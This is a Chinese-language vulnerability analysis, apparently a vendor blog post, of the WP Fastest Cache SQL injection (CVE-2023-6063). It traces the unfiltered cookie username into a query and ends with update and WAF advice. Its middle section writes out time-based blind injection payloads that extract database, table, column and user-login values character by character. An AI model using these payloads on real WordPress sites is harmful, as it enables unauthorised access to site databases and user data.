WP Fastest Cache 插件及其 SQL 注入漏洞 (CVE-2023-6063)
WP Fastest Cache 是一款 WordPress 缓存插件,旨在加速页面加载并增强访客体验,目标是提高网站在搜索引擎结果页面(尤其是 Google)上的排名。据 WordPress.org 称,有超过一百万个网站使用该插件。问题是什么?WP Fastest Cache 1.2.2 之前的版本容易受到 SQL 注入攻击,这可能允许未经身份验证的攻击者读取网站的数据库内容,从而导致巨大的隐私和安全问题。
漏洞分析
该漏洞发生在插件启动缓存系统时,具体来说 wpFastestCache.php,缓存函数位于其中。观察到 cache() 功能包括“inc/cache.php”和 WpFastestCacheCreateCache 类来执行它的 createCache() 功能。
继续追踪 createCache() 功能 inc/cache.php,它调用 is_user_admin() 函数来检查用户是否是管理员用户。进一步研究 is_user_admin() 函数,发现该函数遍历 cookie 以匹配“wordpress_logged_in”键,并提取第一个匹配的字段作为 username 变量,然后与 $wpdb 全局变量在网站的数据库中执行查询操作。
我们可以看到 username 在SQL语句中作为参数使用,但是没有做任何检查和过滤措施,核心SQL语句如下:
SELECT `$wpdb->users`.`ID`, `$wpdb->users`.`user_login`, `$wpdb->usermeta`.`meta_key`, `$wpdb->usermeta`.`meta_value` FROM `$wpdb->users` INNER JOIN `$wpdb->usermeta` ON `$wpdb->users`.`user_login` = \"$username\" AND `$wpdb->usermeta`.`meta_key` LIKE \"%_user_level\" AND $wpdb->usermeta`.`meta_value` = \"10\" AND `$wpdb->users`.`ID` = `$wpdb->usermeta`.user_id ;
这主要在 wp_users 和 wp_usermeta 表之间进行内连接查询,以搜索包含相关列的行。代码复制匹配的 $cookie_value, $username 以及 get_var 在页面上显示该信息。
到目前为止,很明显的是 username 是从 cookie 中获取的,并且由用户控制。此外, username 在数据库执行时被当作参数使用,没有经过任何形式的检查或过滤。用户可能会将恶意代码与上述 SQL 语句连接起来,从而对网站造成重大损害。
漏洞概述
根据以上分析,通过SQL语句的关联,发现该注入点并没有直接重复应用程序的任何错误信息或查询结果,因此是一个基于时间的盲注。通过关闭双引号,然后添加一个 sleep(5) 延时函数,可以判断SQL语句是否执行成功。
我们观察到,当语句成功连接时,会导致程序执行延迟 5 秒。连接并执行的语句如下:
数据库访问
之后,就可以依靠延迟注入机制来确定数据库名称的长度。使用的语句是 root" AND if(length(database())=9,sleep(2),1) 且 "1"="1。 这里, root" 和 "1"="1 用于关闭前后双引号,以及 if(表达式1,表达式2,表达式3) 意味着如果 表达式1 是真的,那么 if() 返回 表达式2,否则返回 表达式3。 在这种情况下,如果数据库的长度 length(database())=9 是真的,那么 if() 返回 sleep(2) 导致2秒的延迟,否则返回1。通过这种方式执行,可以推断出当前数据库的长度。
下一步是确定数据库名称的组成。使用的语句是root" AND if(mid(database(),1,1)="w",sleep(1),1) 和 "1"="1。 相似地, root" 和 "1"="1 用于关闭原来的双引号,并且 sleep(1) 导致程序延迟 1 秒执行。该函数 mid(database(),1,1)="w" 评估数据库的第一个字符是否为“w”。通过使用 蛮力攻击 方法,数据库的每个字符都可以推断出拼写“WordPress”。
数据库表
下一步是确定数据库中的表。使用的语句是 root” AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1),1,1)="w", sleep(5),1) and "1"="1. 这意味着从 information_schema 数据库并使用 mid() 函数提取其第一个字符,然后使用 if() 检查第一个字符是否为“w”。通过这种方法,可以暴力破解WordPress数据库中各个表的名称。
第二个字符的 SQL 语句 root” AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1),2,1)="p", sleep(5),1) and "1"="1
第三个字符的 SQL 语句 root” AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1),3,1)="_", sleep(5),1) and "1"="1 …最终,第一个表名 wp_termmeta 可以被暴力破解。
类似地,通过更改 information_schema 数据库中的“wordpress”表,其他表可以被暴力破解。
WordPress中第二张表第一个字符的SQL语句 root” AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1,1),1,1)="w", sleep(5),1) and "1"="1
WordPress中第二张表第二个字符的SQL语句 root” AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1,1),2,1)="p", sleep(5),1) and "1"="1 … WordPress 中第三个表的第一个字符的 SQL 语句 root” AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 2,1),1,1)="w", sleep(5),1) and "1"="1
WordPress中第三个表第二个字符的SQL语句 root” AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 2,1),2,1)="w", sleep(5),1) and "1"="1 …基于此,WordPress 数据库中的所有表都可以被暴力破解。
获取数据库中的所有表后,下一步是使用以下语句强制执行表中的列 root” AND if(mid((select column_name from information_schema.columns where table_name = 'wp_users' limit 1),1,1)="I", sleep(5),1) and "1"="1。这涉及查询第一列 wp_users 在里面 information_schema 数据库并使用 mid() 函数提取其第一个字符,然后使用 if() 检查这个字符是否是“I”。同样,这种方法也可以用来暴力破解表中的列名。
获取表中的所有列名后,下一步是使用语句强制获取表中列的值 root” AND if(mid((select user_login from wp_users limit 1),1,1)="r", sleep(5),1) and "1"="1。这意味着查询 user_login 字段中的 wp_users 表并使用 mid() 函数提取其第一个字符,然后使用 if() 检查这个字符是否为“r”。与上面类似,这种方法可以用来暴力破解表中每个列名的值。
SQL 注入威胁对 WordPress 网站有多普遍?
SQL 注入攻击是 WordPress 网站普遍存在的威胁,尤其是那些使用存在漏洞的插件或主题的网站,正如我们上面以 WP Fastest Cache 插件为例所探讨的那样。
为了降低 SQL 注入攻击的风险,WordPress 网站所有者应遵循安全最佳实践,例如保持软件更新、使用信誉良好的插件和主题、实施安全插件或防火墙以及定期备份网站数据。
到目前为止,解决本指南中强调的问题的最有效方法是将 WP Fastest Cache 升级到最新版本。我们的分析发现,只有 1.2.2 之前的 WP Fastest Cache 版本存在漏洞,这意味着更新插件是缓解此问题的最有效方法。
使用 CDNetworks 保护您的 WordPress 网站
CDNetworks 的 WAF 解决方案可以在安全漏洞被利用之前对其进行修补,从而消除 1.2.2 版之前的 WP Fastest Cache WordPress 插件中存在的 SQL 注入威胁等漏洞。
CDNetworks 基于云的 WAF 是一种基于云的解决方案,可以防止此漏洞的利用,并不断探索和分析其他恶意攻击方法。
探索更多
2026年亚洲七大CDN服务商
比较 2026 年亚洲顶级 CDN 提供商,包括 Cloudflare、Akamai、CDNetworks、CloudFront、Fastly、腾讯和阿里巴巴。
2025 年 WAAP 现状报告:人工智能正在改变 Web 应用和 API 安全
了解《2025 年 WAAP 现状报告》中的关键见解,看看人工智能正在如何改变 Web 应用程序和 API 安全。